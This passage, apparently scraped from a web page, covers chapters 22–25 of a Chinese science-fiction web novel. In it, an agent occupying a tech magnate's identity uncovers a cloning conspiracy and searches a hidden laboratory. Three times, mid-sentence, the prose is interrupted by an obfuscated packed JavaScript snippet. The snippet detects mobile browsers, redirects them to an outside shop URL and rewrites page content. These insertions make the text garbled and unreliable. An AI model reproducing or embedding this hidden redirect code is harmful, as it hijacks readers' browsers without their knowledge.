“暂时保持远距离观察。”赵四摇头,“现在介入会惊动环宇。我们需要更多证据,弄清楚这条暗线究竟延伸到了哪里——以及,背后究竟藏着多少人。” 弄清楚之后? 自然要选个合适的时机,看看是该清理门户,还是……物尽其用。 MK3000的声音在此时响起:【提醒,你有一封新邮件。】 这段时间下来,一人一统已形成某种默契,如果只是无关紧要的往来,MK3000不会特意提示。 赵四点开邮箱,发件人栏显示着赛琳娜的名字。 标题简洁到近乎异常:【一张照片】 正文内容也极为克制:【此邮件于今晚突然出现在我的私人邮箱,发信地址位于下城区,无法进一步追溯。邮件无署名、无标题、正文空白,仅在附件中发现以下照片。】 点开附件,一张经过裁剪翻拍的老旧合照映入眼帘。 背景似是某处实验室的正门口,穿着白大褂的研究员们松散地站在台阶上。 照片像素粗糙,边角泛黄,却仍能辨出人物轮廓与神情。 而这张影像已被粗暴的涂鸦覆盖。 一个用鲜红色画出的粗大圆圈,如孩童恶作剧般圈住了前排边缘的一男一女。其余所有人的脸上,都被画上了黑色的叉号。 红圈旁,歪歪扭扭的手写字体如稚拙涂鸦:【房律和斯特林,于152年冬日】 赵四的目光在“斯特林”这个名字上停顿片刻,随即向下移动——照片底部,还有一行更小、却更刺眼的附加批注: 【房馥臻,想知道你父母以前的事吗?】 赵四缓缓抬起头,脑海里无声地浮出一个问号。 谁父母?房馥臻的? 这个莫名其妙出现的人说房馥臻的父母是……房律和斯特林? 22.第22章 他心悖论22 赵四快速回忆了一下关于斯特林的信息。 他第一次听见这个名字是MK3000转播的深夜小电影里,从研究员们提及“斯特林女士”时的内容和语气判断,这位女士是那个地下研究所的核心人物。 暂且不论照片宣称的房律与斯特林存在私人关系是否属实,但斯特林曾深度参与四方科技的研究体系,这点应该是真的。 这也完美解释了为何那座隐藏极深的地下研究所,在空间布局、设备选型乃至环境细节上,都与四方科技的实验室呈现出镜像般的相似。 她在复刻自己最熟悉的工作场域,或者说,在重建一个完全受控的“主场”。 【三儿,能从四方科技的内部档案里查到斯特林吗?】 已开始深入调查房律过往的MK3000迅速回应。 【数据库中没有“斯特林”的直接记录,但这不代表她不存在。】 它上传了几份具有代表性的历史研究报告,并高亮了署名区域。 放眼望去,满页都是“夜枭”“渡鸦”“银盾”之类的代号,找不到一个完整的真实姓名。 【房律执掌四方科技期间,所有研究涉及署名、内部称谓及人事记录,均使用代号,该保密机制持续至房馥臻接管后废止。 结合现有情报推断,除了正式在编人员,房律极可能秘密雇佣了一批身份特殊、无法见光的研究员。】 所谓藏木于林,所有人都使用代号的情况下,即便集团中混入了不该存在的人,除了掌控全局的房律,旁人根本无法察觉。 这从侧面印证了,那个时期的四方科技,确实在进行某些绝不能公之于众的研究。 赵四示意就在一旁的苏珊也来看看这张照片。 苏珊仔细辨认着这张照片上的每一个人,许久,她轻轻呼出一口气。 “里面有几个熟人呢,哥哥。” 这张照片拍摄于三十年前,苏珊与他们并非同代人。 然而在大部分面容已被刻意划去的情况下,她竟仍能辨认出数个熟悉的人——这意味着什么? 赵四心中已有答案。 果然,苏珊接下来的话印证了他的猜测。 “我与您不属于同一个实验项目,所以您可能没见过负责我的那几位‘医生’。” 在说出“医生”二字的瞬间,苏珊的声音里掠过一丝寒意,但那情绪很快被收敛。 她恢复了平静的语气,继续陈述:“照片上的他们确实年轻很多……毕竟我们接受‘项目’时,距离这张照片的拍摄又过去了十几年,自然人总会随着时间的流逝而衰老的。” “可惜,那些人十年前就都死了,否则倒真该找出来看看,他们如今的模样和照片上还残留着多少相似。” 苏珊的言外之意清晰无比,十年前房馥臻上位时,对当年参与过人体实验的这批研究员进行了彻底清洗。 照片上的这群人,正是房律秘密豢养的私人研究团队。 既然斯特林位列其中,便说明她也是这个隐秘团队的一员。 然而,从苏珊的反应来看,她显然并不认识这位“斯特林女士”。 赵四直觉这里还有更多可挖掘的东西,他不动声色地调整了坐姿,让紧绷的肩线松弛下来。 他把声音放缓,带上了一丝疲惫似的缓声说道: “苏珊,看着这张照片上的人……这些年里,我和他是不是越来越像了?” 苏珊几乎忍不住的看向赵四,她想到了外界描述房馥臻的时候说的都是什么。 独裁、冷血、天生吸附在权力骸骨上吮血的怪物。 ——“一个天生的上城人”。 可她知道,房馥臻并不是这样的人。 他只是……别无选择。 “不是的……不是的!哥哥!”苏珊否认得近乎用力,“为了我们大家,你过得太辛苦了。” “我们都知道,你和房律那老家伙一点关系都没有,你们本来就该毫无瓜葛!” 还“亲生父母”? 还谈什么“亲生父母”?房馥臻甚至根本不是房律的儿子! 严格来说,如今执掌四方科技的这个“房律之子”,是他们杀死房律之后,共同塑造出的身份! 房馥臻是在他们行动得手之后,作为所有人的大哥,被推到这个位置上的。 苏珊不知道其他兄弟姐妹们是怎么想的,对她本身来说,对房馥臻始终怀有一份深藏的愧疚。 虽然苏珊只说了寥寥几句话,但赵四听得直呼精彩。 【一时之间,我竟然想不通他们是怎么做到的。这群人胆大包天,运气也足够逆天。】 三十九个,哦,算上房馥臻是四十个实验体。 就这么四十个实验体,策划了一场反叛,还真就把当时也是顶尖大集团的大老板给成功干掉了。 随后房馥臻摇身一变,逆袭成了新任大老板,身价顿时暴增不说,还有闲心扒拉一下弟弟妹妹,让大家都过得好的同时,暗地里再搞搞自己的事业…… 不是,爽文开挂也不是这么开的啊,房馥臻是这个世界的男主角吧? 整个故事中间一点逻辑都没有啊! MK3000:【确实出乎意料……不过既然房馥臻不是房律的儿子,那他到底是从哪来的?】 还有隐藏身份? 赵四一时语塞。 是啊。 房馥臻,究竟是谁? “真假少爷”四个字再度劈进赵四的脑海。 【不会吧。】赵四喃喃自语,【这出真假少爷的戏码里,还有我的事?】 在这次的身份卡背景成谜的前提下,任何看似荒诞的可能性,似乎都拥有了扎根的土壤。 知晓这些内情后,再看照片下的那行标注,便显得格外苍白可笑。 苏珊问他:“哥,这张照片怎么处理?” 发邮件的人,要么是根本不知“房馥臻”身份背后水深、仅凭表面情报就妄图捞一笔的蠢货。 要么,便是对自身信息源过度自信、以为凭此老照片便能撬动四方科技根基的险恶之徒。 赵四沉吟片刻:“先暗中查查这张照片的原始出处,以及这位‘斯特林’女士的详细背景。既然她逃过了清算,那就必须 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082302|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄清她是如何逃脱的。 “至于发邮件的人,先放着。如果真急着用这件事做文章,整个人就一定会再有动作。” 静观其变,有时是最好的回应。 苏珊应是,然后安排人去了。 几天后的傍晚,苏珊在赵四用餐时带来了新的消息。 首先是关于洛伦·艾克的调查进展。 趁居安新与小少爷外出约会时,他们的人制造了一次无伤大雅的意外,不仅成功获取了洛伦的生物检材,还完成了基础扫描。 初步检测显示,洛伦的身体状况并无明显异常。 检材样本已送往四方科技的机密实验室进行深度分析,结果将于次日出炉。 而针对洛伦的深入背景调查,则挖出了两件值得玩味的事: 其一,洛伦一直在暗中监视所有出现在居安新身边的人。 中城区宠物店那次袭击,正是他摸准那天方复秦就在医院,所以为了试探方复秦底细,暗中推动“人类纯净结社”极端分子所为。 将大量受伤宠物推向医院,是为了观察方复秦在紧急状态下的反应。 赵四听到这里,跟系统吐槽道:【……他跟房馥臻肯定很有共同语言。】 一言不合就拿教团做推手,中城区的教团还是太好用了。 其二,是一段陈年旧事。 环宇集团的小少爷年曾患有一种罕见的基因疾病,当时,环宇的总裁亲自将刚过三岁生日的孩子送至四方科技,以某些利益为交换,换得了儿子的康复。 就在这时,办公室的门被猛地推开。 赛琳娜几乎是跌撞着冲了进来,即便妆容无可挑剔,也完全掩盖不住她脸上彻底失去血色的惨白。 她像是看不见房间里还有另一个人,目光死死锁定赵四,径直扑到他面前。 那不顾一切的姿态,让一旁的苏珊惊得后退了半步。 “赛琳娜姐姐?” 赛琳娜浑身都在发抖,对苏珊的呼唤置若罔闻,只是死死抓住赵四的手臂。 “哥哥……”她的声音抖得厉害,几乎拼凑不成完整的句子,“洛伦……洛伦的基因序列和你……完全一致……连那个该死的隐性遗传病,都分毫不差……” 她深吸一口气,却像被什么东西扼住了喉咙,眼泪夺眶而出的瞬间,声音里混杂着绝望与不甘: “只是……只是他的症状轻太多了。他还有时间……有那么多可能性……” 苏珊猛地转过头,瞳孔骤缩:“什么?!” 赛琳娜抓住赵四手臂的手指猛然收紧,用力到指节绷紧发白。 “他是你的克隆体……你才是环宇当年送来的那个孩子!对不对?” “是房律……是他看中了你的基因型,把你偷偷扣了下来……可凭什么啊?!凭什么现在活得好好的、还能继续等待下去的是他?!你的身体已经……已经……” 赛琳娜哽咽的说不出话,只有腕上终端自动投影出一份报告。 来自第七实验室的数据冰冷刺眼,如同一把猝然捅开的钥匙,瞬间撕开了一个被埋藏多年的黑暗秘密。 23.第23章 他心悖论23 房馥臻的身体情况,确实已经非常糟糕了。 作为这张身份卡现在的持有者,赵四的感受比任何人都要清晰。 他甚至已经开始逐渐能感觉到自己在每次陷入睡眠前,那种生命力正从身体最深处被无形之手缓慢而持续地抽离的空洞感。 就像一只桶壁从底部悄然开裂的木桶,尽管表面仍在不断注入维持生命的“水流”,试图维持水位。 但看不见的裂缝处,水流失的速度却在无声无息中超越了补充。 桶中的水平面在无人察觉的寂静中,一寸一寸无可挽回地下降,终将指向干涸的结局。 然而,面对赛琳娜崩溃的哭泣和苏珊呆滞的震惊,赵四只是静静听着。 他甚至抬起手,掌心带着一种稳定的暖意,像安慰一个孩童一样,轻轻拍着赛琳娜因剧烈情绪而僵硬颤抖的脊背,动作里透出一种近乎异常的平静。 过载的信息像一记闷棍,让苏珊的大脑暂时停止了运转。 她如同雕像般站在那里,很久之后才语无伦次的说道: “所以……房律他当年竟然……!环宇集团那边……不,不对……哥哥、哥哥才应该是那个‘洛伦’才对啊!” 赵四无声地叹了口气。 他站起身,走到两个被巨大冲击波弄得心神失守的妹妹身边,一手一个,几乎是半扶半抱地将她们安置到旁边休息区的柔软沙发上。 “我的身体是不太好,但还远没到绝望的时候。” 这份近乎冷酷的镇定勉强让两个姑娘回过神,她们不约而同地看向他的脸,试图从那格外沉静的面容上寻找支撑。 不知是谁,极小声地、带着依赖地唤了一声:“哥哥……” “冷静点,姑娘们。”赵四的声音很平稳,“别忘了我们是从什么地方爬出来的。既然当年能从那片地狱里站起来,如今这些事,也没资格让我们倒下。” “当务之急,是必须弄清楚当年发生了什么。房律策划这样一场偷天换日,不可能不留下任何蛛丝马迹。在那个时间点,他能进行这种级别禁忌项目的场所……” 他适时地停顿,留下一个诱导性的空白。 赛琳娜几乎是不假思索地接口:“只有旧研究所。可是那里……” 苏珊的声音紧随其后,“可是那里,在十年前就被我们自己彻底毁掉了。” 逃离那个地狱是所有人刻入骨髓的执念。 当年一群刚刚挣脱枷锁、满腔恨意又缺乏经验的小孩子,除了在房馥臻主持下带走了一批至关重要的核心资料外,几乎什么都没保留。 离开后,他们用所能想到的最激烈的方式,将那里彻底炸毁封死,仿佛用物理意义上的彻底湮灭,就能将那段不堪回首的记忆一同埋葬。 现在想要回头从那片废墟中寻找线索,谈何容易? 姐妹俩对视一眼,都在对方眼中看到了深刻的痛恨,以及于事无补的悔意。 赵四心中已有计较,面上却不动声色。 无论如何,总得亲眼去看看,才能判断是否真的一无所获。 不过去看看的前提和关键在于,他不能让她们察觉,自己对于这个“旧研究所”的了解,并不如“房馥臻”本该了如指掌的那般清楚。 想到这里,赵四不由得在内心再次对任务世界这种“只发身份卡,不给记忆包”的行径,发出了无声却深刻的谴责。 好在眼下形势对他还算有利—— 赛琳娜与苏珊都未从剧烈的情感冲击中完全恢复,心神激荡之下,防备最低。 只要方法得当,稍加安抚引导,从她们口中套出准确地址乃至更多细节,成功率很高。 MK3000:【很有技巧的趁虚而入,赵四专员,你有没有考虑过回中心发布相关收费学习课程?】 感觉可以卖爆。 这种程度的套话与情绪引导,对赵四而言近乎本能。 因此他还有余裕分神回应系统,语气甚至带着点闲聊的随意:【其实我已经发了。】 MK3000:【嗯?】 【就在咱们中心的高级进修课里,就是名字可能起的有点不太显眼……咳,我披了马甲,你搜“一个有良心的高级讲师”就知道了。】 MK3000连再去搜索都不用,它脱口而出:【你是那个“渣男渣女速成手册”的主讲人??】 这个课程名在任务者中心可谓如雷贯耳,几乎是许多新手专员私下交流时必定会提及的“神秘必修课”之一,以其别具一格的书名和极其硬核实用的内容著称。 属于是新手专员不得不品味的高级必修课之一。 赵四对此毫不意外,或者说,他对自己这门课的受欢迎程度心知肚明。 但他还是忍不住纠正道:【你能不能叫它的正式全名——‘七天速成演技大师:速成表演艺术手册(进阶篇)’。 你刚才说的那个简称,不知道的还以为我在传授什么违法乱纪的歪门邪道。】 感觉分分钟就要进主系统设的局子里蹲着了。 MK3000心情复杂地看着赵四在现实里仅凭寥寥数语,配合着恰到好处的安抚与引导,不仅轻而易举地获得了旧研究所的精确位置,更让那两个女孩怀着对哥哥更深沉的信任与依赖离开了房间。 专员这份游刃有余,让它再次确认了中心流传甚广的那句话: 从来只有起错的名字,没有叫错的外号。 赵四那门课,内容固然硬核,效果也的确显著,但如果换个角度审视…… 这传授的“技巧”边界,也实在微妙。 送走赛琳娜和苏珊,并再三叮嘱她们保持冷静、严守秘密后,赵四才略显疲惫地揉了揉太阳穴。 【地址你也听到了。】他在意识中与系统沟通,【说实话,这个地点,我倒不怎么意外。】 ——房律的旧研究所,就在“新世界第十七街区宠物医院”的地下。 MK3000对地址确实也不意外,它的关注点在另一点上。 【你疲惫值又爆了。】 【……算了,明天再去吧。】 深沉的疲惫感从骨髓里向外渗出,赵四转身走向和办公室相连的专用休息室。 说来有些无奈,来到这个世界后,他还没在真正意义上的“卧室”里休息过。 两个设施齐全的休息室就被打发了,倒显得他特别好养活——主要还是房馥臻本人过于爱岗敬业,已经离谱到了一种近乎没有私人生活的地步。 他的住所就是办公室的延伸,以至于赵四想体验一下顶级集团掌舵人在上城区的奢华居所,都只能栖身于这间虽舒适却终究是“配套设施”的休息套间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085695|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经过一夜必要的休整,赵四不再拖延。 他悄无声息地离开四方科技总部,重返中城区。 再次站在刚来到这里的那间小黑屋里时,赵四又一次墙上的隐藏开关,打开了那扇狭长的窗户。 外面的世界依旧热热闹闹、明亮非常,充满了廉价的活力与华彩。 之前那幅全息广告已经更换,如今占据视线的是一个绑着双马尾的电子偶像。 TA兼具少男的清俊与少女的娇俏,很难界定性别。 此刻敬业的偶像正朝着四面八方比划着充满元气的爱心,TA涂满闪粉的机械手臂随着动作亮起幽蓝色的能量纹路,呈现出一种奇特的、略带非人感的怪诞美感。 四方科技的LOGO如同装饰,烙印在它飞扬的虚拟裙摆上,随着TA蹦蹦跳跳的动作上下翻飞、忽隐忽现。 楼下有人在放烟花,金色的烟花砰砰炸响,流光溢彩的碎屑在空中绽放,将窗外的街景映衬得如同一个巨大而喧闹的惊喜礼盒。 赵四没有久看。 他继续按动开关。 第二下,通往办公室的门滑开。 第三下、第四下,并无其他变化,直到他按下第五次。 门迅速闭合,随即,整个房间微微一震,开始以一种均匀的速度向下沉降。 ——这不是一间简单的密室。 这是一部隐藏极深的垂直电梯。 谁能想到,通往地下秘密空间的通道,就这样堂而皇之地设置在院长办公室的隔壁? 赵四静静等待着,电梯运行了片刻,缓缓停住。 门再次滑开,这次外界是一条走廊。 门外的感应灯随着他的到来次第亮起,他迈步,踏入那片本应被时光与剧烈爆炸共同尘封的旧日实验室遗址。 按照常理,等待他的应该是死寂的废墟,是扭曲变形的设备残骸,是覆盖一切的、象征毁灭与遗忘的厚重灰尘…… 那应是爆炸与岁月共同缔造的的荒芜图景。 然而,以上这些,赵四一样都没看见,眼前的一切与想象截然不同。 映入赵四眼帘的,是一条甚至可以说是一尘不染的走廊。 墙壁光滑如镜,地面光可鉴人,天花板上的照明设备稳定地散发着柔和的冷光,亮度调节得恰到好处。 仿佛这里并非废弃十年的禁地,而是某个仍在定期维护中的精密设施。 墙壁光滑,地面无尘。 若非提前从苏珊和赛琳娜口中明确的知道这里发生过什么,单凭这走廊此刻的模样,几乎无法相信此地曾经历过一场旨在彻底抹除的剧烈爆炸。 赵四的眉头不易察觉地蹙起。 他走到最近的一扇密封门前,试探性质的推门。 意外又不意外的是,这门一推就开。 这一次,景象对了。 扭曲变形的金属支架如同怪物的骨骸般支棱着,焦黑的灼痕泼墨般溅满墙壁与天花板。 不明材质的残片散落一地,厚厚的灰尘覆盖了一切,在他推开门后,荡起的浮沉在灯光下静静漂浮。 所以,异常的只有这条仿佛正在对他说“欢迎光临”的走廊。 赵四关上门,目光投向深处那一片被精心照亮的区域。 灯光尽头,阴影蛰伏,仿佛在静静等待他的到来。 24.第24章 他心悖论24 赵四没急着抬腿往里走,谨慎是刻在骨头里的职业素养。 他打了个无声的响指,意识里,MK3000的广谱扫描如同无形的潮水,悄然漫过前方的空间。 MK3000的扫描反馈一如既往的精准而简洁: 【环境安全,无威胁信号,物理陷阱概率低于0.3%。和专员初降临时所在的“小黑屋”一样,这条走廊……干净得有点过分艺术化了。】 艺术化? 赵四挑起一边眉毛,目光顺着那条一尘不染、灯光柔和得像是经过专业布光的通道向深处延伸,嘴角扯出一个意味不明的弧度。 这里更像是……舞台的侧幕条后方,或者,某种充满隐喻的“朝圣之路”的起点。 这条路尽头等待他的,要么是精心搭建、只等他登台的“舞台”,要么就是指向性明确、意义非凡的“圣坛”。 他掸了掸身上并不存在的灰尘,姿态放松,肌肉却保持着随时可以应对突发状况的微妙张力。 【行吧,来都来了,房老板盛情邀请,咱们也不能辜负了这番美意。】 赵四迈步走向走廊深处,脚步不疾不徐,带着一种审视的韵律。 他的目光扫过墙壁和地面,像是在欣赏,又像是在评估。 越深入,他看到的东西就越多。 当墙上开始出现大幅的、显然是近期绘制或精心修复的装饰性挂画,用以巧妙遮挡住两侧通往真正废墟区域的门洞时,他忍不住又笑了一声。 房馥臻这人挺有意思。 高标准的空气过滤与除尘系统,精心调控的恒定光照……保持住这条走廊这样的状态,看似简单,实际上维护成本并不低。 这地方哪里像被炸毁后废弃的遗址?分明是像个私人收藏展厅,还是定期有人来做保养的那种。 走廊尽头,三个独立的透明陈列柜在冷白光下熠熠生辉,里面的物品摆放端正得如同博物馆的镇馆之宝。 与博物馆不同的是,这些柜子似乎装了智能感应装置。 当赵四靠近的时候,柜体便发出极其轻微的嗡鸣,随即如同花瓣般无声地向两侧滑开,露出里面的物品。 MK3000的即时扫描结果同步传来:【柜体开启机制无攻击性,无能量异常,设计初衷应为方便取阅。】 赵四在柜前站定,手插在裤袋里,没随便上手。 他先是整体打量了一番,然后才将目光逐一落在每件物品上。 离他最近的柜子里,平铺着一份被细心拆分成十几页的文件。 “人生档案……”他念出那手写标签上的字,声音没什么起伏。 无需再耗费精力从旁证中拼凑,也无需继续在迷雾中猜测,房馥臻的来历就这么突兀的摆在了他的面前。 档案中进一步核实了苏珊调查出的旧事真假: 环宇的小少爷“洛伦·艾克”,确实曾患有严重的基因病,他父亲也确实把那个孩子送到了四方科技来治疗。 只是调查到的“顺利康复”版本,在此被这份档案轻描淡写地彻底推翻。 现实往往没有奇迹。 那孩子身体底子太差,基因型又实在罕见,在进入四方科技的手术室后不久,便宣告彻底死亡。 目睹了“原始样本”死亡的房律,毫不犹豫地启动了备用方案——以逝者为蓝本,启动克隆项目。 计划产生了两种分化路径,一部分克隆胚胎接受了旨在剔除致病基因的“优化调整”,被称为“α型优化克隆体”; 另一部分则完全复刻原体的所有遗传信息(包括缺陷),被称为“β型原始克隆体”。 两类克隆体均在短期内被催生至约三岁的生理年龄。 随后,从α型中筛选出最健康的个体,送还环宇集团,顶替了已逝小少爷的身份。 其余所有存活下来的克隆体,无论α型还是β型,均被留在了研究所,成为后续不同实验项目的消耗品。 最终,在一系列残酷的淘汰中,仅有一名β型个体因展现出“特殊价值”而得以存活。 这便是日后环宇集团的“小少爷”洛伦·艾克,与四方科技的掌舵人“房馥臻”,那份共同的、充满血腥与冰冷的起源。 赵四快速浏览着这些冰冷刺骨的文字,脸上表情管控得极好。 表面上看,他没什么大的情绪波动,唯独眼神越发沉静幽深,如同结了冰的湖面。 档案的用词极端严谨且书面化。 “标本”、“原始模板保全”、“对照组”…… 这些术语堆砌出的文本,读起来不像是一个人的身世自述,倒像是一份出自第三方研究机构的、客观到冷酷的实验报告。 考虑到这份东西极有可能是房馥臻自己调查整理所得,MK3000都得夸房馥臻心理素质着实过硬。 第二个陈列柜里放着的是几叠厚厚的病历——不光有房馥臻的,还有洛伦的。 一眼看过这些病历的封面后,赵四简直不知道说什么了。 因为这根本不是静态的病历档案,而是持续更新了整整十年的动态健康追踪记录。 这代表了什么? 这代表房馥臻很早就知道自己和洛伦的关联! 所以才能在逃离了研究所之后,立刻开始着手监控自己和洛伦的健康问题。 这份关联他整整压下来了十年,连他最亲密的家人们半点不知情,直到赵四的到来,才在调查中曝光。 【这是该说他在乎呢,还是不在乎呢……】 MK3000忙着拍照存档,赵四摇摇头,将目光投向第三个,也是最后一个陈列柜。 这个柜子里最为简单,只有一叠纸。 纸张表面一片空白,没有任何字迹或图案。 【三儿,材质分析,看看有没有惊喜。】 MK3000遗憾告知赵四:【扫描完毕。材质为普通复合纤维纸,就是很常见的白纸,其上未检测到任何预设的、有价值的信息载体特征。】 那就只能上手拿着看看了。 赵四没有立刻动手,而是先让MK3000再次确认了无有害辐射或生物污染,才伸出手。 按照顺序,先将那份“人生档案”和厚厚的病历册一一取出,快速而仔细地翻阅了一遍,确认除了已看到的内容外,没有夹层、密写或额外的物理标记。 最后,他才拿起那叠看似平平无奇的白纸。 入手的感觉确实普通,与寻常办公用纸无异。 他对着不同角度的光线仔细观察,甚至用指腹极其轻柔地拂过纸面,感受其纹理。 一切如常。 赵四很认真的想了想要不要将这些物品带走,好进行更深入的分析。 但最终,基于对现场完整性的考虑以及某种直觉,他放弃了。 将档案、病历、白纸一一按照原样、原位置放回陈列柜,他向后退了两步。 柜体感应到他的离开,无声地缓缓闭合,严丝合缝,仿佛从未被开启过。 【行了,参观完毕。房老板的‘生平纪念馆’内容很硬核,展品很有冲击力,省了咱们不少事。 如果不是最后用“无字天书”谜语人了一把,我愿意给他一个四星半的策展高分。】 MK3000:【我猜你还有转折。】 【你说的对。】 他转过身,背对着那散发着冰冷光泽的柜子。 他环顾着这条洁净得不合时宜的走廊和周围死寂的废墟,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090687|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情变得异常凝重和审慎。 【事态评估需要立刻更新,三儿。】 他在意识中说道,声音很冷静。 【从我们之前的调查结果,我们推测房馥臻是相对被动或知情有限的复仇者、守护者。】 【但现在从这个地方呈现的一切来看,一切都需要彻底推倒重来。】 【这位爷,从根子上就没把自己当‘受害者’。他是知情者,是观察者,甚至可能是……某种意义上的共谋者或导演。】 MK3000迅速接续分析它补充道:【他对待自身绝症那种近乎漠然的‘平静’,透漏出来的情绪绝不是绝望或自毁,根据词句分析来看,应该带有研究性质的‘接受’或‘利用’。】 【此地设施的存在,表明房馥臻对自身经历的认知并非私人秘密……专员,别忘了,这位房先生是主动出借自己的身份卡的。】 没错,还要加上这个变量。 房馥臻完全可以在决定出借身份的时候,给他们留下特定的线索。 这里对房馥臻而言,绝不仅仅是‘伤心地’或‘证据库’。 这更像是一个留给特定访客的……关键线索简报室。 赵四也有点无语。 【房馥臻这人绝对是有点恶趣味在身上的,感觉就像玩闯关游戏。】 【我们必须突破他预设的层层验证,达到某个他心目中的‘认可线’,才能拿到这些本可以提前告知的关键信息。】 怎么说呢,只能再次感慨,不愧是高难度任务世界。 房馥臻对所有人成功营造的假象,本身就是任务难度的一部分,也确实成功骗了赵四和MK3000一段时间。 谁能想到,最大的“关卡设计者”之一,竟然就是身份卡的原主人呢? 他不再耽搁,回到走廊中段,确认环境安全后,利落地取下几幅挂画。 果然,在其中一幅背面,贴着一张显然是近期手绘的、标注了关键区域和可能数据残留点的简易地图。 MK3000快速扫描存档。 赵四记下要点,开始向地图指示的废墟深处区域移动。 接下来的搜索变得极具针对性。 赵四凭借丰富的废墟探索与情报挖掘经验,引导MK3000重点扫描那些结构相对完整、可能具备电磁屏蔽或物理加固的单元,以及爆炸冲击波可能遗漏的角落。 当那个深埋在坍塌物下、外壳严重变形的老旧独立安保系统黑匣子被MK3000定位时,他甚至轻轻吹了声口哨。 彩蛋往往藏在最不起眼的破烂里。 数据提取与修复需要时间。 赵四靠在一截扭曲的金属承重梁旁,耐心等待着。 他的手指无意识地摩挲着下巴,眼神放空,显然在脑海中疯狂整合着新旧信息。 废墟中一片死寂。 当那段模糊不清、布满电子雪花和跳帧的监控录像,经过MK3000修复后,终于勉强呈现出一小段相对连贯的画面时,赵四站直身体,几乎是下意识地屏住了呼吸。 画面背景是一个标准的实验室环境。 一个纤细瘦弱的身影披着白大褂,背对着监控镜头,正对着一个观察窗不断记录着什么。 几秒钟后,或许是听到了旁边的动静,那个身影顿了顿,然后转了过来,抬起了头—— 他的目光似乎看向了呼唤他的人,但角度恰好让监控摄像头捕捉到了一个清晰的、大半的正脸。 隔着模糊失真的画面与漫长的时光,那道目光,仿佛穿透了虚拟的屏幕,与此时此刻的赵四对视。 那是一张熟悉的脸。 那是一个熟悉的人。 那是——少年时期的房馥臻。 25.第25章 他心悖论25 画面很短,那个对视的瞬间被反复播放。 赵四没有移开视线,任由那影像长久地停留在视网膜上。 看了好一会,他抬手抹了把脸,仿佛要擦去某种无形的尘埃或过于沉重的思绪。 【关了吧,三儿,咱们该回去了。】 他们已经触摸到了房馥臻的“来处”——那个在培养液中成型、在实验室冷光下被观察、甚至自己也拿起记录板的少年。 但这远远不够。 一个如此清晰认知自身“被制造”属性的人,一个以近乎研究者的视角看待自己苦难的人,他活下来,爬上去,掌控一切之后……到底想做什么? 他不再停留,转身沿着那条过于洁净的“朝圣之路”返回。 他的脚步依旧稳定,但脑中的思绪正以前所未有的速度翻滚、连接,试图找到一个靠谱的答案。 回到宠物医院,他没有立刻离开,而是再次按动机关,打开了那扇狭长的观察窗。 将半个身子靠在冰凉的墙上,他沉默地俯视着下方中城区永不停歇的夜景。 流动的霓虹像是廉价的血液,在建筑的血管里奔腾不息; 全息广告投射出的虚幻美景,掩盖着这座城市根深蒂固的裂痕。 四方科技的徽记如同一个烧红的烙印,在他脑海中反复盘旋、灼烧。 家人的安危?四方科技的基业?甚至……房馥臻自己这具日益衰败的身体? 那些曾被他认为是他行动基石的东西,此刻仿佛都蒙上了一层虚幻的薄纱,失去了原有的重量。 而那些围绕在“房馥臻”身边,自以为对他有所了解的人——赛琳娜、苏珊、多里安、林琳……甚至可能包括那些敬畏或憎恨他的对手—— 他们看到的,可能自始至终,都只是冰山浮于海面的一角。 仔细想想,房馥臻这个人,似乎生来就活在层层叠叠的假面之下。 他从未袒露过自己,将所有的一切压抑在无波无澜的平静表象之中。 这样的人…… MK3000:【专员,这样的人通常不会满足于维持现状或小修小补,他们往往怀揣着足以颠覆现有格局的宏大计划。】 【或者,用更通俗的话说——他们很适合,也极有可能,在策划一场‘大新闻’。】 是的,这样的人一看就很适合搞大事。 赵四无声地笑了笑,那笑意未达眼底。 【以他现在的身份、资源和掌控力,想做点什么‘大事’,简直易如反掌。问题是……】 这场‘大新闻’的主题究竟是什么? 是复仇的火焰?是创造的狂想?还是……更干脆的将一切彻底毁灭,然后在灰烬上描绘新蓝图? 他为此准备了多久,又铺设了多长的导火索? MK3000尽职分析道:【根据现有行为模式推演,其目标很可能具备颠覆性、系统性,且与其核心自我认知深度绑定。】 【可能性有很多种,但缺乏能将可能性收敛为确定性的决定性证据。】 【决定性证据……】赵四喃喃重复道,手指无意识地按在了窗户上。 忽然,他动作一滞。 像是一道微弱的电流瞬间贯通了阻塞的回路。 【有一个地方,我们一直知道它的存在,但因为这样那样的原因,我们从来没真的去过那里。】 MK3000反应很快,【你是说,“密室”?】 【对,密室。也许我猜错了……但如果,房馥臻真的有一个贯穿始终的、不为人知的终极计划,如果所谓的‘决定性证据’真的存在,如果他真的想留下点什么让我们去找——那只会在那里。】 他觉得那儿有点儿什么的概率很高。 